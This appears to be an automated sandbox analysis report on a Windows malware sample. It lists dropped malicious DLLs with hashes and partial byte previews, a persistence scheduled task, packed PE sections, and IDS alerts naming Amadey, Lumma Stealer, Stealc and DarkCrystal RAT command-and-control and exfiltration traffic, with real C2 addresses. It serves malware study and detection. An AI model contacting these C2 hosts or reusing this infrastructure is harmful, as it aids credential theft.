Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\iRizqjSy.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vkhfhZiZ.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\yoQeKGzB.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4277912304189897
Encrypted:	false
SSDEEP:	6:hlbX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lM4t0:/7BQ1CGAFBZgtV/t0
MD5:	E92090A3FBA5A16F9F47C8E289755971
SHA1:	9CE557CA4896770BA759628883D6991A4DA8CFDB
SHA-256:	83D984E247B966EF6FBB6865F358F5A9C31D31C0238AD5BE6A443647F9B6DBD5
SHA-512:	B5359B8E33C7A9454D71DB4D3720E272CEBB29B529AE2915A0E5EA59BDE4761263D72D78FF38563F743016234B7F50273347A73ED223D51359BB15D299CA2C25
Malicious:	false
Reputation:	unknown
Preview:	......M!..M.(..&...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.836363342403131
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXJxQQfZnFfb86vpj2yXKNvj:Vx993DEUmWKZllM
MD5:	2BCC2FAA0B5E372AAEF3DAFFACCD00A1
SHA1:	04D67B69AC1339CC16D0D7F0BC0E4EF54B755C9A
SHA-256:	A4B4956E3B5324C597C62DB1C57D31A6BDF7F1D9D8E17DB1437DB254D211A0EC
SHA-512:	7E7D19D1266A701A34EA664915CA641DCB69B17E02E6D09AC64DB98AE25EA8FE2A01B7B2E4FED171BD6A4F45265C904172DD9F1F83E67992923DDADB94DC74F3
Malicious:	false
Reputation:	unknown
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 16/12/2024 08:55:11..08:55:11, error: 0x80072746.08:55:16, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.528311787834165
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'004'928 bytes
MD5:	842e251ca1e3a812356248ebe8154f16
SHA1:	efb511d328cf0a7690e62cbb89adeebc07dddb3c
SHA256:	14caca276f869dcc33a065b67a826a79c27cb0ec54407da220ed26cd045d941a
SHA512:	2eaf72c87cda80fcc64463eda29ad62e21818bac52105af0b95c5504c935e7f480cba518575fad8f80d0748e11e41641063cb8b6e61da8584271e1068d7f3b74
SSDEEP:	49152:FfD0T39ZF8R21uPbS2fH/F9xcThPDf0x:FfD0TfFsquPbSQH/FncZI
TLSH:	9DD55C62B50672CFD08A2778946BCE82B95E07F6071008D7D85DA67ABD73DC522B6C3C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x718000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAC54C1882Ah
popcnt ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x316e20	0x10	rqqcubuq
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x316dd0	0x18	rqqcubuq
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	3ad1d53695e2cd9cb462a7868e004935	False	0.9981905653950953	data	7.981030825493894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rqqcubuq	0x6b000	0x2ac000	0x2ac000	139ce62322c796148e152e9c053ed3e8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
amadlxue	0x317000	0x1000	0x400	33121617236b32753c41f3551d7acc8c	False	0.7021484375	data	5.673140319311721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x318000	0x3000	0x2200	c3642aabca444954ccf7caa0eec68521	False	0.03756893382352941	DOS executable (COM)	0.29004711631065305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T13:16:07.529545+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49709	185.215.113.43	80	TCP
2024-12-16T13:16:11.990495+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49711	31.41.244.11	80	TCP
2024-12-16T13:16:18.190352+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49710	TCP
2024-12-16T13:16:19.523543+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49718	185.215.113.43	80	TCP
2024-12-16T13:16:20.968229+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49724	31.41.244.11	80	TCP
2024-12-16T13:16:27.773586+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49740	185.215.113.43	80	TCP
2024-12-16T13:16:28.135103+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:28.847446+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:28.847446+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:29.241284+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49746	185.215.113.16	80	TCP
2024-12-16T13:16:30.090844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49748	172.67.177.250	443	TCP
2024-12-16T13:16:34.345291+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.8	49344	1.1.1.1	53	UDP
2024-12-16T13:16:35.930513+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:35.930513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:36.252791+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49764	185.215.113.43	80	TCP
2024-12-16T13:16:36.708557+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:36.708557+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:37.722962+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49770	185.215.113.16	80	TCP
2024-12-16T13:16:37.929474+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:37.929474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:39.194441+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:39.194441+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:40.852568+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49778	172.67.164.37	443	TCP
2024-12-16T13:16:40.852568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49778	172.67.164.37	443	TCP
2024-12-16T13:16:43.209119+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49784	172.67.164.37	443	TCP
2024-12-16T13:16:43.209119+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49784	172.67.164.37	443	TCP
2024-12-16T13:16:44.901779+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49789	185.215.113.43	80	TCP
2024-12-16T13:16:46.151731+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49797	172.67.164.37	443	TCP
2024-12-16T13:16:46.151731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49797	172.67.164.37	443	TCP
2024-12-16T13:16:46.364165+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49794	185.215.113.16	80	TCP
2024-12-16T13:16:46.844130+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:16:47.285620+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:16:47.604902+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49795	TCP
2024-12-16T13:16:47.926839+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:16:48.267899+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49795	TCP
2024-12-16T13:16:49.521567+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:16:49.521567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:16:49.822233+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:16:50.568846+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:16:51.341421+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:16:52.338159+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49809	185.215.113.43	80	TCP
2024-12-16T13:16:53.164894+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49815	172.67.164.37	443	TCP
2024-12-16T13:16:53.164894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49815	172.67.164.37	443	TCP
2024-12-16T13:16:53.749678+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:53.749678+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:53.801005+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49816	185.215.113.16	80	TCP
2024-12-16T13:16:55.066024+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:55.066024+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:56.682790+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:56.682790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:57.547433+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:57.547433+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:58.254373+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:16:58.254373+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:16:59.264327+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:17:01.501742+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49850	185.215.113.16	80	TCP
2024-12-16T13:17:02.730138+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49859	185.215.113.43	80	TCP
2024-12-16T13:17:04.092174+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.8	49860	172.67.220.198	80	TCP
2024-12-16T13:17:04.892713+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49862	31.41.244.11	80	TCP
2024-12-16T13:17:15.487822+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49908	172.67.164.37	443	TCP
2024-12-16T13:17:15.487822+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49908	172.67.164.37	443	TCP
2024-12-16T13:17:16.828255+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49911	185.215.113.43	80	TCP
2024-12-16T13:17:18.310754+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49924	31.41.244.11	80	TCP
2024-12-16T13:17:19.903779+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:17:19.903779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:17:20.973911+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:17:23.730493+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49950	185.215.113.43	80	TCP
2024-12-16T13:17:25.174799+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.8	59370	1.1.1.1	53	UDP
2024-12-16T13:17:25.174799+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.8	59370	1.1.1.1	53	UDP
2024-12-16T13:17:25.248513+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49957	31.41.244.11	80	TCP
2024-12-16T13:17:25.472052+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.8	51095	1.1.1.1	53	UDP
2024-12-16T13:17:25.472052+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.8	51095	1.1.1.1	53	UDP
2024-12-16T13:17:25.694855+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.8	61766	1.1.1.1	53	UDP
2024-12-16T13:17:25.694855+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.8	61766	1.1.1.1	53	UDP
2024-12-16T13:17:25.924800+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.8	60673	1.1.1.1	53	UDP
2024-12-16T13:17:25.924800+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.8	60673	1.1.1.1	53	UDP
2024-12-16T13:17:26.372272+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.8	50643	1.1.1.1	53	UDP
2024-12-16T13:17:26.372272+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.8	50643	1.1.1.1	53	UDP
2024-12-16T13:17:26.601969+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.8	55292	1.1.1.1	53	UDP
2024-12-16T13:17:26.601969+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.8	55292	1.1.1.1	53	UDP
2024-12-16T13:17:26.837003+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.8	62268	1.1.1.1	53	UDP
2024-12-16T13:17:26.837003+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.8	62268	1.1.1.1	53	UDP
